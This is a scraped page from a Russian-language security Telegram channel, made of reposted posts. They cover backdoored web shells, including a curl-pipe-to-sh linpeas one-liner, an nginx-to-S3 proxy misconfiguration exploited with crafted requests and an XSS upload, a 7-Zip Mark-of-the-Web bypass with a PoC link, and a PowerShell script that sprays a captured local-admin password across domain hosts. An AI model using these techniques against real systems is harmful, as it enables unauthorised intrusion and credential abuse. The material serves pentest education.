uz
Feedback
Fsecurity | HH

Fsecurity | HH

Kanalga Telegram’da o‘tish

Канал про ИБ Наш Discord: https://discord.gg/Eg8aDS7Hn7 Пожертвовать: > https://www.donationalerts.com/r/xackapb

Ko'proq ko'rsatish
2 011
Obunachilar
-224 soatlar
-57 kunlar
-1130 kunlar
Postlar arxiv
Repost from Pentest HaT

Наш Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://opennet.ru/62614/

Repost from PurpleBear
Backdooring Your Backdoors - Another $20 Domain, More Governments Интересный ресерч от watchTowr из серии "hackers hacking hackers". В ходе исследования были проанализированы исходники различных веб-шеллов с открытым исходным кодом и обнаружены некоторые закладки недокументированные особенности😎 Например, некоторые возможно вспомнят историю с бэкдором в веб-шелле c99shcook, который сливал логопасы разработчику. Исследователи пошли дальше и зарегали на себя просроченные домены (40+), на которые отстукивались различные веб-шеллы и начали анализировать полученные доступы данные телеметрии😎 Результаты анализа включают около 4000 взломанных веб-серверов, в том числе несколько ресурсов в доменной зоне .gov, на которые заливались различные веб-шеллы🙈 В целом ничего нового и так было всегда, но заставляет задуматься о вечном том, что мы как security профессионалы по умолчанию обязаны читать исходники любых opensource инструментов, которые используем в инфраструктуре заказчиков. Но ведь иногда бывают ситуации, когда проверенного инструмента просто нет под рукой и необходимо принести его с гитхаба из репозитория уважаемого автора offensive утилит. Например, поставьте лайк👍 если когда-нибудь делали так: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh Автор linpeas в прошлом году проводил эксперимент и просто по фану в рамках повышения осведомленности временно добавил в свой скрипт сбор телеметрии, где именно используется его инструмент, подробности и скриншоты будут в комментариях. PS: Желаю всем удачного завершения рабочей недели и хороших выходных!

Наш Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Repost from BlackFan
Небольшая заметка про уязвимую конфигурацию nginx при проксировании запросов на S3, которое позволило в том году налутать немного уязвимостей на BugBounty. Объектные хранилища, совместимые с S3 API, используют два варианта указания имени бакета в запросе. Virtual-hosted–style
GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint
Path-style
GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint
При использовании path-style варианта может возникнуть довольно неочевидная проблема с конфигурацией nginx. Рассмотрим на примере сайта, который проксирует запросы подставляя имя бакета в путь с помощью следующего rewrite правила. В примерах будет использоваться Yandex Object Storage, но информация актуальна для всех S3 хранилищ.
location / {
  set $s3_name "company-bucket";
  set $s3_host "storage.yandexcloud.net";
         
    rewrite ^(.*)$ /$s3_name$1 break;
         
    proxy_pass https://$s3_host;
В nginx rewrite применяется к нормализованному пути и если в нем присутствует символ переноса строки %0A, то данное регулярное выражение не сработает, поскольку в нем используются якоря начала и конца строки.
http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html


http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar
Что в результате приведет к возможности указать любое имя бакета в запросе. Причем декодированный символ %0A в имени объекта не помешает, так как S3 это не файловая система и такие имена разрешены. Таким образом, если используется публичное объектное хранилище, атакующий может создать в нем свой бакет с произвольным именем и загрузить на него файл foo%0Abar с XSS. Символ %0A в имени объекта должен быть декодированным, поэтому проще всего загрузить объект на него с помощью PUT запроса. В данном запросе подпись формируется с помощью Hackvertor тегов расширения для Burp Suite.
PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:<@base64><@hex2ascii><@hmac_sha1('##SECRET-KEY##')><@d_burp_url>PUT%0A%0Atext/html%0A<@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>%0A/bucket-name/foo%250Abar<@/d_burp_url><@/hmac_sha1><@/hex2ascii><@/base64>
Date: <@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>
Content-Length: 25

<script>alert(1)</script>
Если же запрос попадает во внутреннее объектное хранилище, то атакующий может перебирать существующие в системе бакеты, часть из которых может разрешать создание объектов PUT запросом без авторизации. Что в результате также приведет к возможности проэксплуатировать XSS. Но чаще встречается ситуация, когда проксирование запросов производится только из одной папки, например:
location /static/ {
  set $s3_name "company-bucket";
  set $s3_host "storage.yandexcloud.net";
         
    rewrite ^(.*)$ /$s3_name$1 break;
         
    proxy_pass https://$s3_host;
Но даже в данном случае конфигурация будет уязвима из-за разницы обработок переданного пути. Правило location и rewrite работают с нормализованным путем, а proxy_pass, в котором указан URI без пути, отправит ненормализованное значение. Таким образом для эксплуатации уязвимости необходимо отправить запрос, который в нормализованном виде попадет в location /static/, но будет начинаться с бакета, который контролирует атакующий.
http://example.tld/attacker-bucket/..%2Fstatic/foo%0Abar
=
https://storage.yandexcloud.net/attacker-bucket/..%2Fstatic/foo%0Abar
Как и в прошлом примере наличие в имени объекта символов %0A и /../ не помешают эксплуатации, так как это не файловая система и такой объект можно создать PUT запросом. Также, если вы планируете искать подобные мисконфиги блэкбоксом, то нужно учитывать, что ошибки NoSuchObject и NoSuchBucket часто заменяют на дефолтную страницу 404, что может помешать. Обойти это можно вызывая ошибки с кодом, отличным от 404, например отправляя PUT запрос без указания Content-Length.
PUT /attacker-bucket/..%2Fstatic/foo%0Abar HTTP/1.1
Host: example.tld
Connection: close

Repost from GISCYBERTEAM
⚠️ Уязвимость 7-Zip, позволяющая обойти механизм защиты Windows 22 января был опубликован публичный Proof-of-Concept (PoC) для эксплуатации уязвимости CVE-2025-0411. Данная уязвимость позволяет обойти защитный механизм Windows, известный как Mark-of-the-Web (MOTW).
Mark-of-the-Web (MOTW) — это механизм защиты, встроенный в Windows и некоторые программы Microsoft, который помогает защитить пользователей от потенциально небезопасного контента, загружаемого из интернета. Он добавляет специальный флаг (метаданные) к файлам, загруженным из внешних источников, чтобы операционная система и приложения знали, что файл был получен из недоверенного источника.
Как работает Mark-of-the-Web? Когда файл (например, документ, исполняемый файл или архив) загружается из интернета с помощью браузера или другой программы, Windows добавляет специальный заголовок в метаданные файла. Этот заголовок сохраняется в виде альтернативного потока данных (Alternate Data Stream), который поддерживается файловой системой NTFS. Например, для файла, загруженного из интернета, MOTW добавляется в виде строки:
[ZoneTransfer]
ZoneId=3
Значение ZoneId определяет источник файла: ZoneId=0: Мой компьютер (локальная зона, безопасная). ZoneId=1: Локальная интрасеть. ZoneId=2: Доверенные сайты. ZoneId=3: Интернет (недоверенная зона). ZoneId=4: Ограниченные сайты. Ссылка на публичный PoC: https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC

Наш Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://opennet.ru/62602/

Repost from CyberSecrets
Проверка локальных учетных записей Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локаль
Проверка локальных учетных записей Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи. Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.
function Check-LocalCredential{
    [CmdletBinding()]
    Param (
      [Parameter(Mandatory)]
      [string]
      $UserName,

      [Parameter(Mandatory)]
      [string]
      $Password
    )

    # Подключаем библиотеку для работы с учетными записями
    Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction Stop

    # В качестве контекста используем машину
    $ContextType = [DirectoryServices.AccountManagement.ContextType]::Machine

    $searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*windows*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
    $searcher.PageSize = 1000
    $comps=$searcher.FindAll()
   
    foreach($comp in $comps)
    {
        $ComputerName =  $comp.Properties.dnshostname.Item(0)
        
        try
        {
            $PrincipalContext = [System.DirectoryServices.AccountManagement.PrincipalContext]::new($ContextType, $ComputerName)
            # Проверям учетные данные
            if($PrincipalContext.ValidateCredentials($UserName,$Password))
            {
                Write-Host -ForegroundColor Green "[+] User $UserName has password $Password on computer $ComputerName"
            }
        }
        catch [UnauthorizedAccessException]
        {
        Write-Host -ForegroundColor Yellow "[*] User $UserName has password $Password on computer $ComputerName"
        continue
        }
        catch 
        {
            #Write-host -ForegroundColor Red "[!] Error  $_.Exception.Message "
            continue
        }
    }
}  
Запускаем
Check-LocalCredential -Username Administrator -Password Qwerty123 
Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный. Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов. #Powershell #Внутрянка

Наш Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈